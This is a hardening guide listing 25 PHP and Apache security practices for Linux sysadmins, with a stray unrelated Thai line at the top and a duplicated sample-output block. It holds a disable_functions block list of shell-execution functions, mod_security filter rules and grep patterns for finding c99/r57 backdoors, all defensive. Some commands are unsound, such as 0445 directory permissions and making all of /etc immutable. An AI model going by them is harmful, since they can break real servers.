6.  script ที่มาจาก crazyjacks.googlecode.com มี 3 script เหมือนกับที่ดึงมาจาก crazyjack.no-ip.info และโค้ดเหมือนกันทุกประการ ดังนั้นคิดว่าน่าจะเป็นส่วนที่เหมือนกับส่วนสำรองของตัว script มากกว่า

Linux: 25 PHP Security Best Practices For Sys Admins


PHP is an open-source server-side scripting language and it is a widely used. The Apache web server provides access to files and content via the HTTP OR HTTPS protocol. A misconfigured server-side scripting language can create all sorts of problems. So, PHP should be used with caution. Here are twenty-five php security best practices for sysadmins for configuring PHP securely.

Our Sample Setup For PHP Security Tips

  • DocumentRoot: /var/www/html
  • Default Web server: Apache ( you can use Lighttpd or Nginx instead of Apache)
  • Default PHP configuration file: /etc/php.ini
  • Default PHP extensions config directory: /etc/php.d/
  • Our sample php security config file: /etc/php.d/security.ini (you need to create this file using a text editor)
  • Operating systems: RHEL / CentOS / Fedora Linux (the instructions should work with any other Linux distributions such as Debian / Ubuntu or other Unix like operating systems such as OpenBSD/FreeBSD/HP-UX).
  • Default php server TCP/UDP ports: none
Most of the actions listed in this post are written with the assumption that they will be executed by the root user running the bash or any other modern shell:
$ php -v
Sample outputs:
PHP 5.3.3 (cli) (built: Oct 24 2011 08:35:41)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
For demonstration purpose I'm going to use the following operating system:

$ cat /etc/redhat-release

Sample outputs:

PHP 5.3.3 (cli) (built: Oct 24 2011 08:35:41)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
 
For demonstration purpose I'm going to use the following operating system:

$ cat /etc/redhat-release

Sample outputs:

Red Hat Enterprise Linux Server release 6.1 (Santiago)
 

#1: Know Your Enemy

PHP based apps can face the different types of attacks. I have noticed the different types of attacks:
  1. XSS - Cross-site scripting is a vulnerability in php web applications, which attackers may exploit to steal users' information. You can configure Apache and write more secure PHP scripts (validating all user input) to avoid xss attacks.
  2. SQL injection - It is a vulnerability in the database layer of an php application. When user input is incorrectly filtered any SQL statements can be executed by the application. You can configure Apache and write secure code (validating and escaping all user input) to avoid SQL injection attacks. A common practice in PHP is to escape parameters using the function called mysql_real_escape_string() before sending the SQL query.
    Spoofing
  3. File uploads - It allows your visitor to place files (upload files) on your server. This can result into various security problems such as delete your files, delete database, get user details and much more. You can disable file uploads using php or write secure code (like validating user input and only allow image file type such as png or gif).
  4. Including local and remote files - An attacker can open files from remote server and execute any PHP code. This allows them to upload file, delete file and install backdoors. You can configure php to disable remote file execution.
  5. eval() - Evaluate a string as PHP code. This is often used by an attacker to hide their code and tools on the server itself. You can configure php to disable eval().
  6. Sea-surf Attack (Cross-site request forgery - CSRF) - This attack forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

#2: Find Built-in PHP Modules

To see the set of compiled-in PHP modules type the following command:

# php -m

Sample outputs:

[PHP Modules]
apc
bcmath
bz2
calendar
Core
ctype
curl
date
dom
ereg
exif
fileinfo
filter
ftp
gd
gettext
gmp
hash
iconv
imap
json
libxml
mbstring
memcache
mysql
mysqli
openssl
pcntl
pcre
PDO
pdo_mysql
pdo_sqlite
Phar
readline
Reflection
session
shmop
SimpleXML
sockets
SPL
sqlite3
standard
suhosin
tokenizer
wddx
xml
xmlreader
xmlrpc
xmlwriter
xsl
zip
zlib
[Zend Modules]
Suhosin 
 
I recommends that you use PHP with a reduced modules for performance and security. For example, you can disable sqlite3 module by deleting (removing) configuration file , OR renaming (moving) a file called /etc/php.d/sqlite3.ini as follows:

# rm /etc/php.d/sqlite3.ini

OR

# mv /etc/php.d/sqlite3.ini /etc/php.d/sqlite3.disable

Other compiled-in modules can only be removed by reinstallating PHP with a reduced configuration. You can download php source code from php.net and compile it as follows with GD, fastcgi, and MySQL support:

./configure --with-libdir=lib64 --with-gd --with-mysql --prefix=/usr --exec-prefix=/
usr --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc --datadir=/usr/share --includedir=/
usr/include --libexecdir=/usr/libexec --localstatedir=/var --sharedstatedir=/usr/com --mandir=/
usr/share/man --infodir=/usr/share/info --cache-file=../config.cache --with-config-file-path=/
etc --with-config-file-scan-dir=/etc/php.d  --enable-fastcgi --enable-force-cgi-redirect
 
See how to compile and reinstall php on Unix like operating system for more information.

#3: Restrict PHP Information Leakage

To restrict PHP information leakage disable expose_php. Edit /etc/php.d/secutity.ini and set the following directive:

expose_php=Off
 
When enabled, expose_php reports to the world that PHP is installed on the server, which includes the PHP version within the HTTP header (e.g., X-Powered-By: PHP/5.3.3). The PHP logo guids (see example) are also exposed, thus appending them to the URL of a PHP enabled site will display the appropriate logo. When expose_php enabled you can see php version using the following command:

$ curl -I http://www.cyberciti.biz/index.php

Sample outputs:

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Content-type: text/html; charset=UTF-8
Vary: Accept-Encoding, Cookie
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=
wikiToken;string-contains=wikiLoggedOut;string-contains=wiki_session
Last-Modified: Thu, 03 Nov 2011 22:32:55 GMT
... 
 
I also recommend that you setup the ServerTokens and ServerSignature directives in httpd.conf to hide Apache version and other information.

#4: Minimize Loadable PHP Modules (Dynamic Extensions)

PHP supports "Dynamic Extensions". By default, RHEL loads all the extension modules found in /etc/php.d/ directory. To enable or disable a particular module, just find the configuration file in /etc/php.d/ directory and comment the module name. You can also rename or delete module configuration file. For best PHP performance and security, you should only enable the extensions your webapps requires. For example, to disable gd extension, type the following commands:

# cd /etc/php.d/
# mv gd.{ini,disable}
# /sbin/service httpd restart

To enable php module called gd, enter:
# mv gd.{disable,ini}
# /sbin/service httpd restart

#5: Log All PHP Errors

Do not expose PHP error messages to all site visitors. Edit /etc/php.d/security.ini and set the following directive:


display_errors=Off
 
Make sure you log all php errors to a log file:

log_errors=On
error_log=/var/log/httpd/php_scripts_error.log

#6: Disallow Uploading Files

Edit /etc/php.d/security.ini and set the following directive to disable file uploads for security reasons:

file_uploads=Off
 
If users of your application need to upload files, turn this feature on by setting upload_max_filesize limits the maximum size of files that PHP will accept through uploads:

file_uploads=On
# user can only upload upto 1MB via php
upload_max_filesize=1M
 

#7: Turn Off Remote Code Execution

If enabled, allow_url_fopen allows PHP's file functions -- such as file_get_contents() and the include and require statements -- can retrieve data from remote locations, like an FTP or web site.
The allow_url_fopen option allows PHP's file functions - such as file_get_contents() and the include and require statements - can retrieve data from remote locations using ftp or http protocols. Programmers frequently forget this and don't do proper input filtering when passing user-provided data to these functions, opening them up to code injection vulnerabilities. A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering. Edit /etc/php.d/security.ini and set the following directive:

allow_url_fopen=Off
 
I also recommend to disable allow_url_include for security reasons:

allow_url_include=Off

#8: Enable SQL Safe Mode

Edit /etc/php.d/security.ini and set the following directive:

sql.safe_mode=On
 
If turned On, mysql_connect() and mysql_pconnect() ignore any arguments passed to them. Please note that you may have to make some changes to your code. Third party and open source application such as WordPress, and others may not work at all when sql.safe_mode enabled. I also recommend that you turn off magic_quotes_gpc for all php 5.3.x installations as the filtering by it is ineffective and not very robust. mysql_escape_string() and custom filtering functions serve a better purpose (hat tip to Eric Hansen):

magic_quotes_gpc=Off

#9: Control POST Size

The HTTP POST request method is used when the client (browser or user) needs to send data to the Apache web server as part of the request, such as when uploading a file or submitting a completed form. Attackers may attempt to send oversized POST requests to eat your system resources. You can limit the maximum size POST request that PHP will process. Edit /etc/php.d/security.ini and set the following directive:

; Set a realistic value here 
post_max_size=1K
 
The 1K sets max size of post data allowed by php apps. This setting also affects file upload. To upload large files, this value must be larger than upload_max_filesize. I also suggest that you limit available methods using Apache web server. Edit, httpd.conf and set the following directive for DocumentRoot /var/www/html:
 
<Directory /var/www/html>
    <LimitExcept GET POST>
        Order allow,deny
    </LimitExcept>
## Add rest of the config goes here... ##
</Directory>
 

#10: Resource Control (DoS Control)

You can set maximum execution time of each php script, in seconds. Another recommend option is to set maximum amount of time each script may spend parsing request data, and maximum amount of memory a script may consume. Edit /etc/php.d/security.ini and set the following directives:

# set in seconds
max_execution_time =  30
max_input_time = 30
memory_limit = 40M
 

#11: Install Suhosin Advanced Protection System for PHP

From the project page:
Suhosin is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. Suhosin comes in two independent parts, that can be used separately or in combination. The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections.
See how to install and configure suhosin under Linux operating systems.

#12 Disabling Dangerous PHP Functions

PHP has a lot of functions which can be used to crack your server if not used properly. You can set list of functions in /etc/php.d/security.ini using disable_functions directive:
 
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,
parse_ini_file,show_source
 

#13 PHP Fastcgi / CGI - cgi.force_redirect Directive

PHP work with FastCGI. Fascgi reduces the memory footprint of your web server, but still gives you the speed and power of the entire PHP language. You can configure Apache2+PHP+FastCGI or cgi as described here. The configuration directive cgi.force_redirect prevents anyone from calling PHP directly with a URL like http://www.cyberciti.biz/cgi-bin/php/hackerdir/backdoor.php. Turn on cgi.force_redirect for security reasons. Edit /etc/php.d/security.ini and set the following directive:

; Enable cgi.force_redirect for security reasons in a typical *Apache+PHP-CGI/FastCGI* setup
cgi.force_redirect=On
 

#14 PHP User and Group ID

mod_fastcgi is a cgi-module for Apache web server. It can connect to an external FASTCGI server. You need to make sure php run as non-root user. If PHP executes as a root or UID under 100, it may access and/or manipulate system files. You must execute PHP CGIs as a non-privileged user using Apache's suEXEC or mod_suPHP. The suEXEC feature provides Apache users the ability to run CGI programs under user IDs different from the user ID of the calling web server. In this example, my php-cgi is running as phpcgi user and apache is running as apache user:

# ps aux | grep php-cgi
 
Sample outputs:

phpcgi      6012  0.0  0.4 225036 60140 ?        S    Nov22   0:12 /usr/bin/php-cgi
phpcgi      6054  0.0  0.5 229928 62820 ?        S    Nov22   0:11 /usr/bin/php-cgi
phpcgi      6055  0.1  0.4 224944 53260 ?        S    Nov22   0:18 /usr/bin/php-cgi
phpcgi      6085  0.0  0.4 224680 56948 ?        S    Nov22   0:11 /usr/bin/php-cgi
phpcgi      6103  0.0  0.4 224564 57956 ?        S    Nov22   0:11 /usr/bin/php-cgi
phpcgi      6815  0.4  0.5 228556 61220 ?        S    00:52   0:19 /usr/bin/php-cgi
phpcgi      6821  0.3  0.5 228008 61252 ?        S    00:55   0:12 /usr/bin/php-cgi
phpcgi      6823  0.3  0.4 225536 58536 ?        S    00:57   0:13 /usr/bin/php-cgi
 
You can use tool such as spawn-fcgi to spawn remote and local FastCGI processes as phpcgi user (first, add phpcgi user to the system):

# spawn-fcgi -a 127.0.0.1 -p 9000 -u phpcgi -g phpcgi -f /usr/bin/php-cgi

Now, you can configure Apache, Lighttpd, and Nginx web server to use external php FastCGI running on port 9000 at 127.0.0.1 IP address.

#15 Limit PHP Access To File System

The open_basedir directive set the directories from which PHP is allowed to access files using functions like fopen(), and others. If a file is outside of the paths defined by open_basdir, PHP will refuse to open it. You cannot use a symbolic link as a workaround. For example only allow access to /var/www/html directory and not to /var/www, or /tmp or /etc directories:

; Limits the PHP process from accessing files outside 
; of specifically designated directories such as /var/www/html/
open_basedir="/var/www/html/"
; ------------------------------------
; Multiple dirs example 
; open_basedir="/home/httpd/vhost/cyberciti.biz/html/:/home/httpd/vhost/
nixcraft.com/html/:/home/httpd/vhost/theos.in/html/"
; ------------------------------------
 

#16 Session Path

Session support in PHP consists of a way to preserve certain data across subsequent accesses. This enables you to build more customized applications and increase the appeal of your web site. This path is defined in /etc/php.ini file and all data related to a particular session will be stored in a file in the directory specified by the session.save_path option. The default is as follows under RHEL/CentOS/Fedora Linux:

session.save_path="/var/lib/php/session"
; Set the temporary directory used for storing files when doing file upload
upload_tmp_dir="/var/lib/php/session"
 
Make sure path is outside /var/www/html and not readable or writeable by any other system users:

# ls -Z /var/lib/php/

Sample outputs:

drwxrwx---. root apache system_u:object_r:httpd_var_run_t:s0 session
 
Note: The -Z option to the ls command display SELinux security context such as file mode, user, group, security context and file name.

#17 Keep PHP, Software, And OS Up to Date

Applying security patches is an important part of maintaining Linux, Apache, PHP, and MySQL server. All php security update should be reviewed and applied as soon as possible using any one of the following tool (if you're installing PHP via a package manager):

# yum update

OR

# apt-get update && apt-get upgrade

You can configure Red hat / CentOS / Fedora Linux to send yum package update notification via email. Another option is to apply all security updates via a cron job. Under Debian / Ubuntu Linux you can use apticron to send security notifications.
Note: Check php.net for the most recent release for source code installations.

#18: Restrict File and Directory Access

Make sure you run Apache as a non-root user such as Apache or www. All files and directory should be owned by non-root user (or apache user) under /var/www/html:

# chown -R apache:apache /var/www/html/


/var/www/html/ is a subdirectory and DocumentRoot which is modifiable by other users since root never executes any files out of there, and shouldn't be creating files in there.
Make sure file permissions are set to 0444 (read-only) under /var/www/html/:

# chmod -R 0444 /var/www/html/

Make sure all directories permissions are set to 0445 under /var/www/html/:

# find /var/www/html/ -type d -print0 | xargs -0 -I {} chmod 0445 {}

A Note About Setting Up Correct File Permissions

The chown and chmod command make sures that under no circumstances DocumentRoot or files contained in DocumentRoot are writable by the Web server user apache. Please note that you need to set permissions that makes the most sense for the development model of your website, so feel free to adjust the chown and chmod command as per your requirements. In this example, the Apache server run as apache user. This is configured with the User and Group directives in your httpd.conf file. The apache user needs to have read access to everything under DocumentRoot but should not have write access to anything.
Make sure httpd.conf has the following directives for restrictive configuration:
 
<Directory / >
    Options None
    AllowOverride None
    Order allow,deny
</Directory>
 
You should only grant write access when required. Some web applications such as wordpress and others may need a caching directory. You can grant a write access to caching directory using the following commands:

# chmod a+w /var/www/html/blog/wp-content/cache
### block access to all ###
# echo 'deny from all' > /var/www/html/blog/wp-content/cache/.htaccess

#19: Write Protect Apache, PHP, and, MySQL Configuration Files

Use the chattr command to write protect configuration files:

# chattr +i /etc/php.ini
# chattr +i /etc/php.d/*
# chattr +i /etc/my.ini
# chattr +i /etc/httpd/conf/httpd.conf
# chattr +i /etc/


The chattr command can write protect your php file or files in /var/www/html directory too:

# chattr +i /var/www/html/file1.php
# chattr +i /var/www/html/

#20: Use Linux Security Extensions (such as SELinux)

Linux comes with various security patches which can be used to guard against misconfigured or compromised server programs. If possible use SELinux and other Linux security extensions to enforce limitations on network and other programs. For example, SELinux provides a variety of security policies for Linux kernel and Apache web server. To list all Apache SELinux protection variables, enter:

# getsebool -a | grep httpd
Sample outputs:

allow_httpd_anon_write --> off
allow_httpd_mod_auth_ntlm_winbind --> off
allow_httpd_mod_auth_pam --> off
allow_httpd_sys_script_anon_write --> off
httpd_builtin_scripting --> on
httpd_can_check_spam --> off
httpd_can_network_connect --> off
httpd_can_network_connect_cobbler --> off
httpd_can_network_connect_db --> off
httpd_can_network_memcache --> off
httpd_can_network_relay --> off
httpd_can_sendmail --> off
httpd_dbus_avahi --> on
httpd_enable_cgi --> on
httpd_enable_ftp_server --> off
httpd_enable_homedirs --> off
httpd_execmem --> off
httpd_read_user_content --> off
httpd_setrlimit --> off
httpd_ssi_exec --> off
httpd_tmp_exec --> off
httpd_tty_comm --> on
httpd_unified --> on
httpd_use_cifs --> off
httpd_use_gpg --> off
httpd_use_nfs --> off
 
To disable Apache cgi support, enter:

# setsebool -P httpd_enable_cgi off

See Red Hat SELinux guide for more information.

#21 Install Mod_security

ModSecurity is an open source intrusion detection and prevention engine for web applications. You can easily install mod_security under Linux and protect apache and php based apps from xss and various other attacks:
 
## A few Examples ##
# Do not allow to open files in /etc/
SecFilter /etc/
 
# Stop SQL injection
SecFilter "delete[[:space:]]+from"
SecFilter "select.+from"
 

#22 Run Apache / PHP In a Chroot Jail If Possible

Putting PHP and/or Apache in a chroot jail minimizes the damage done by a potential break-in by isolating the web server to a small section of the filesystem. You can use traditional chroot kind of setup with Apache. However, I recommend FreeBSD jails, XEN virtulization, KVM virtulization, or OpenVZ virtualization which uses the concept of containers.

#23 Use Firewall To Restrict Outgoing Connections

The attacker will download file locally on your web-server using tools such as wget. Use iptables to block outgoing connections from apache user. The ipt_owner module attempts to match various characteristics of the packet creator, for locally generated packets. It is only valid in the OUTPUT chain. In this example, allow vivek user to connect outside using port 80 (useful for RHN or centos repo access):
 
/sbin/iptables -A OUTPUT -o eth0 -m owner --uid-owner vivek -p tcp --dport 80 -m state --
state NEW,ESTABLISHED  -j ACCEPT
 
Here is another example that blocks all outgoing connections from apache user except to our own smtp server, and spam validation API service:
 
# ....  
/sbin/iptables --new-chain apache_user
/sbin/iptables --append OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables --append OUTPUT -m owner --uid-owner apache -j apache_user
# allow apache user to connec to our smtp server 
/sbin/iptables --append apache_user -p tcp --syn -d 192.168.1.100 --dport 25 -j RETURN
# Allow apache user to connec to api server for spam validation
/sbin/iptables --append apache_user -p tcp --syn -d  66.135.58.62 --dport 80 -j RETURN
/sbin/iptables --append apache_user -p tcp --syn -d  66.135.58.61 --dport 80 -j RETURN
/sbin/iptables --append apache_user -p tcp --syn -d  72.233.69.89 --dport 80 -j RETURN
/sbin/iptables --append apache_user -p tcp --syn -d  72.233.69.88 --dport 80 -j RETURN
#########################
## Add more rules here ##
#########################
# No editing below
# Drop everything for apache outgoing connection
/sbin/iptables --append apache_user -j REJECT
 

#24 Watch Your Logs & Auditing

Check the apache log file:

# tail -f /var/log/httpd/error_log
# grep 'login.php' /var/log/httpd/error_log
# egrep -i "denied|error|warn" /var/log/httpd/error_log


Check the php log file:

# tail -f /var/log/httpd/php_scripts_error.log
# grep "...etc/passwd" /var/log/httpd/php_scripts_error.log


Log files will give you some understanding of what attacks is thrown against the server and allow you to check if the necessary level of security is present or not. The auditd service is provided for system auditing. Turn it on to audit SELinux events, authetication events, file modifications, account modification and so on. I also recommend using standard "Linux System Monitoring Tools" for monitoring your web-server.

#25 Run Service Per System or VM Instance

For large installations it is recommended that you run, database, static, and dynamic content from different servers.

///////////////
/ ISP/Router /
//////////////
  \
   |
   Firewall
     \
      |
     +------------+
     | LB01       |
     +------------+                 +--------------------------+
                  |                 | static.lan.cyberciti.biz |
    +-----------------+--------------------------+
                                    | phpcgi1.lan.cyberciti.biz|
                                    +--------------------------+
                                    | phpcgi2.lan.cyberciti.biz|
                                    +--------------------------+
                                    | mysql1.lan.cyberciti.biz |
                                    +--------------------------+
                                    | mcache1.lan.cyberciti.biz|
                                    +--------------------------+ 
 
(Fig.01: Running Services On Separate Servers)
Run different network services on separate servers or VM instances. This limits the number of other services that can be compromised. For example, if an attacker able to successfully exploit a software such as Apache flow, he / she will get an access to entire server including other services running on the same server (such as MySQL, e-mail server and so on). But, in the above example content are served as follows:
  1. static.lan.cyberciti.biz - Use lighttpd or nginx server for static assets such as js/css/images.
  2. phpcgi1.lan.cyberciti.biz and phpcgi2.lan.cyberciti.biz - Apache web-server with php used for generating dynamic content.
  3. mysql1.lan.cyberciti.biz - MySQL database server.
  4. mcache1.lan.cyberciti.biz - Memcached server is very fast caching system for MySQL. It uses libevent or epoll (Linux runtime) to scale to any number of open connections and uses non-blocking network I/O.
  5. LB01 - A nginx web and reverse proxy server in front of Apache Web servers. All connections coming from the Internet addressed to one of the Web servers are routed through the nginx proxy server, which may either deal with the request itself or pass the request wholly or partially to the main web servers. LB01 provides simple load-balancing.

#26 Additional Tools

From the project page:
PHPIDS (PHP-Intrusion Detection System) is a simple to use, well structured, fast and state-of-the-art security layer for your PHP based web application. The IDS neither strips, sanitizes nor filters any malicious input, it simply recognizes when an attacker tries to break your site and reacts in exactly the way you want it to.
You can use PHPIDS to detect malicious users, and log any attacks detected for later review. Please note that I've personally not used this tool.
From the project page:
PhpSecInfo provides an equivalent to the phpinfo() function that reports security information about the PHP environment, and offers suggestions for improvement. It is not a replacement for secure development techniques, and does not do any kind of code or app auditing, but can be a useful tool in a multilayered security approach.
Security Information About PHP Application
Fig.02: Security Information About PHP Application
See Linux security hardening tips which can reduce available vectors of attack on the system.

A Note About PHP Backdoors

You may come across php scripts or so called common backdoors such as c99, c99madshell, r57 and so on. A backdoor php script is nothing but a hidden script for bypassing all authentication and access your server on demand. It is installed by an attackers to access your server while attempting to remain undetected. Typically a PHP (or any other CGI script) script by mistake allows inclusion of code exploiting vulnerabilities in the web browser. An attacker can use such exploiting vulnerabilities to upload backdoor shells which can give him or her a number of capabilities such as:
  • Download files
  • Upload files
  • Install rootkits
  • Set a spam mail servers / relay server
  • Set a proxy server to hide tracks
  • Take control of server
  • Take control of database server
  • Steal all information
  • Delete all information and database
  • Open TCP / UDP ports and much more

Tip: How Do I Search PHP Backdoors?

Use Unix / Linux grep command to search c99 or r57 shell:

# grep -iR 'c99' /var/www/html/
# grep -iR 'r57' /var/www/html/
# find /var/www/html/ -name \*.php -type f -print0 | xargs -0 grep c99
# grep -RPn "(passthru|shell_exec|system|base64_decode|fopen|fclose|eval)" /var/www/html/

Conclusion

Your PHP based server is now properly harden and ready to show dynamic webpages. However, vulnerabilities are caused mostly by not following best practice programming rules. You should be consulted further resources for your web applications security needs especially php programming which is beyond the scope of sys admin work.

References:

  1. PHP security - from the official php project.
  2. PHP security guide - from the PHP security consortium project.
  3. Apache suseexec - documentation from the Apache project.
  4. Apache 2.2 - security tips from the Apache project.
  5. The Open Web Application Security Project - Common types of application security attacks.

Recommended readings:

  1. PHP Security Guide: This guide aims to familiarise you with some of the basic concepts of online security and teach you how to write more secure PHP scripts. It's aimed squarely at beginners, but I hope that it still has something to offer more advanced users.
  2. Essential PHP Security (kindle edition): A book about web application security written specifically for PHP developers. It covers 30 of the most common and dangerous exploits as well as simple and effective safeguards that protect your PHP applications.
  3. SQL Injection Attacks and Defense This book covers sql injection and web-related attacks. It explains SQL injection. How to find, confirm, and automate SQL injection discovery. It has tips and tricks for finding SQL injection within the code. You can create exploits using SQL injection and design to avoid the dangers of these attacks.
Please add your favorite php security tool or tip in the comments.
Updated for accuracy!